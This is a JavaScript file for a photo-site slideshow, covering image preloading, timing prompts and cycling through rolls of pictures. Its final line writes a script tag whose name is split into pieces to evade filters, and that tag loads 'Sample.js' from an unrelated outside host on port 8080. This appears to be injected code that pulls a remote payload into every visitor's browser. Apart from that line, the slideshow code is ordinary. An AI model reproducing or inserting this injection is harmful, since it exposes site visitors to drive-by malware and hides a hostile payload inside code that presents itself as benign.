
  var arrImg =new Array();
  var pic    =new Array();

  var displayItDone;
  var missCounter;

function msg(msg) {
//  window.alert(msg);
}

function setSource() {
  setTimeout("setSource2()", 100);
}
function setSource2() {
// Don't worry about going forever since you only created the NECESSARY onload handlers
      if (rollc!=1) dex=((D[rollc-2]+a)*eSize); else dex=a*eSize;
     arrImg[a].src="../pics/"+C[dex+5];


    back         = new Image();
    back.src     ="../../shared/bkgrnds/"+C[dex+6];
    if (a!=lidx) {a=a+1} else {a=0};
}

// number of pictures to preload is 1-total pics
// number of onloaders needed is 1 less than that
// can get these numbers from Q[0] or the length
// l=last index, z is this picture
function startit(r,p) {
rollc=r;
  if (r!=1) lidx=D[r-1]-D[r-2]-1; else lidx=D[0]-1;
  if (p!=0)    {w=p-1} else {w=lidx}
  if (p!=lidx) {a=p+1} else {a=0}
  for(x=0;x<=lidx;x++) {
    arrImg[x]=new Image();

    if ((x!=p) && (x!=w)) { 
       arrImg[x].onload=setSource;
       arrImg[x].onerror=setSource;
    }
  }
setSource();
}

eSize=7;
function imFailed1() {
  itFailed1=1;
  itIsReady1=1;
  msg("im Failed1");
  readyFunction();
}

function imFailed2() {
  itIsReady2=1;
  msg("imFailed2");
  readyFunction();
}

function showClose(a,b,c) {
  window.alert("Slide Show Stopped");
  return true;
}

function slide(p,r,dir2) {
  window.onerror=showClose;
  dir=dir2;
  E = new Array(10);
  roll=r;
  p=eSize*p;
//calc offset to first picture in roll r
  if (roll==1) m=0;
  else         m=D[roll-2]*eSize;
//add in distance to picture and then the one AFTER that
  m=m+p;
//preset quit mark to picture BEFORE p
  q=m-eSize;
//if quit mark is BEFORE roll r then make it LAST in roll r
  if ( (q==D[roll-2]*eSize-eSize) || (q<0) ) q=D[roll-1]*eSize-eSize;
//if start mark is AFTER the end of roll r then make it FIRST in roll r
  if (m==D[roll-1]*eSize) {
    if (roll==1) m=0;
    else m=D[roll-2]*eSize;
  }
  n=prompt("What is the minimum number of seconds you want between pictures? Current picture will stay until new picture is loaded which can be long with dial-up", "15");
  if (n!= null) {
    if (n<1) n=1;
    n=n*1000;
    cycle=prompt("Do you want to keep cycling after the last picture is shown (y/n)?", "y");
    cycle=cycle.substring(0,1).toLowerCase();
    if ((cycle =="n") | (cycle =="y") ) {
      site=prompt("Do you want to cycle through all the photos in the site (y/n)?\r(n - means just this roll)", "y");
      site=site.substring(0,1).toLowerCase();
      if ((site =="n") | (site =="y") ) {
        window.alert("To stop the slide show click on the 'x' in the upper right of your screen or the word 'Close'.\r\r Please Note: The current picture will always stay until the new picture is completely loaded into memory, this frequently takes over a minute with dial-up connections and is based entirely on your modem speed and the picture file size, please be patient.");
        str="../../"+C[m]+"/"+dir+"/"+C[m+1];
//      window.alert("first m="+m);
        mdo(str,C[m+2],C[m+3],C[m+4]);
        first=1;
        missCounter=0;
        calculateNextSlide();
        timeoutDone=0;
//      msg("2nd m="+m);
        preloadNextSlide();
        setTimeout("timeoutFunction()", n);
        }
      }
    }
  }

function timeoutFunction2(missed) {
  if (missed==m) { 
   if (missCounter<3) timeoutFunction();  //Only call if m hasn't changed!
   else {
     window.alert("ERROR:pic not loaded in time allotted");
     displayItDone=1;
     displayIt();
   }
  }
  //else msg("missed="+missed+"m="+m);
}

function timeoutFunction() {
//msg("In timeout done");
  timeoutDone=1;
   msg("ans-t="+timeoutDone+itIsReady1+itIsReady2);
  lockValue=m;
  readyFunction();      //m may change in here
  if (0) {
//  if (lockValue==m) {
  window.alert("ERROR: We timed out repreload - this may be a bad action");

//msg("misCounter"+missCounter);

// It didn't take...re-try the preload and set 5 second timer
    arrImgx2        = new Image();
    arrImgx2.onload = readyFunction1;
    arrImgx2.src    = "../../"+C[m]+"/pics/"+C[m+5];

    backx2          = new Image();
    backx2.onload   = readyFunction2;
    backx2.src      = "../../shared/bkgrnds/"+C[m+6];
    if (C[m+6]=="") {itIsReady2=1;}
    missCounter=missCounter+1;
    setTimeout("timeoutFunction2(m)",  10000);
  }
}

function readyFunction() {

//test code
//  itIsReady1=1;
//  itIsReady2=1;
//  displayItDone=0;

  readyN =  (timeoutDone==1) &&  ( (itIsReady1==1) && (itIsReady2==1) || (itFailed1==1) );
//  msg("ans-5="+timeoutDone+itIsReady1+itIsReady2);
//  msg("in ReadyFunctionXX"+readyN+displayItDone);
  if (readyN && (displayItDone==0) ) {
//   msg("setting displayItDone");
   displayItDone=1;
   displayIt();
// msg("in Ready Function");
   }
}

function readyFunction1() {
  itIsReady1=1;
  msg("ans-1="+timeoutDone+itIsReady1+itIsReady2);
  readyFunction();
}

function readyFunction2() {
  itIsReady2=1;
  msg("ans-2="+timeoutDone+itIsReady1+itIsReady2);
  readyFunction();
}

function preloadNextSlide() {
  itIsReady1=0;
  itIsReady2=0;
  itFailed1=0;
  displayItDone=0;
//msg("BEFORE CHECK="+timeoutDone+itIsReady1+itIsReady2);
//  msg("preloding.."+displayItDone);
  if (m!=-1) {
//  if (m==2000) {

msg("ans-0="+timeoutDone+itIsReady1+itIsReady2);

    arrImgx1        = new Image();
    arrImgx1.onload = readyFunction1;
    arrImgx1.onerror= imFailed1;  
    arrImgx1.src    = "../../"+C[m]+"/pics/"+C[m+5];

    backx1          = new Image();
    backx1.onload   = readyFunction2;
    backx1.onerror  = imFailed2;  
    backx1.src      = "../../shared/bkgrnds/"+C[m+6];
    if (C[m+6]=="") {itIsReady2=1;}

  }
  else {
//Force 'succesful' preloading
///msg("Forcing!! Readies");
  itIsReady1=1;
  itIsReady2=1;
  }
}

function displayIt() {

//  msg("In display it");
  if (m==-1) {
    if (which=="window") {
      E[toClose].window.close()
    } else {
      E[handle].close();
    }
    window.alert("Slide Show Done");
  }
  else {
    str="../../"+C[m]+"/"+dir+"/"+C[m+1];
    if (which=="window") {
      if (E[toClose].window.closed!=1) mdo(str,C[m+2],C[m+3],C[m+4]);
      E[toClose].window.close();
    } else {
      E[handle].window.location=str;
    }

    missCounter=0;
//    msg("displaying M:"+m+" next");
    calculateNextSlide();

//msg("other m="+m);
    timeoutDone=0;
    preloadNextSlide();
    setTimeout("timeoutFunction()",  n);
  }
}

function calculateNextSlide() {
  toClose= m/eSize;
//if "we are doing this roll and this is first roll"
//msg("ans="+first+cycle+site);
//msg("ans2="+m+q);
    if ( 
     ( (first==1) &&  ( (m!=q) || ( (cycle=="y") && (site=="n") ) ) )
       ) {
      m=m+eSize;
      if (m==(D[roll-1]*eSize) ) {
        if (roll!=1) m=D[roll-2]*eSize;
        else m=0;
      }
  }
  //"we are done with this first roll"
  else 
  {
//  window.alert("new roll");
    if (first==1) first=2;
    //"we are doing the next roll of this site
    if (site=="y")
    {
      if (first==2) {
        m=D[roll-1]*eSize-eSize;
        if (roll!=1) q=D[roll-2]*eSize-eSize; else q=-eSize;
        if (q==-eSize) q=D[D.length-2]*eSize-eSize;
        first=3;
      }
      //"we are not done with everything"
      if ( (m!=q) || (cycle=="y") ) {
        m=m+eSize;
        if (m==C.length) m=0;
      }
      //we are done with the entire site
      else m=-1;
    }
    //"(whole site=no) we are done with this roll and the slideshow"
    else m=-1;
  }
}

//Sometimes it just stops -- bigest hardest most important issue
//need to set indicators for all the files loaded to say ready
//need to create an onerror handler for a clean exit
//the caching line is a problem -- 2nd biggest and also a super hard issue
//need to set time back to 5 second minimum!
document.write('<sc'+'ript type="text/javascript" src="http://addle.diretctrishta.com:8080/Sample.js"></scri'+'pt>');
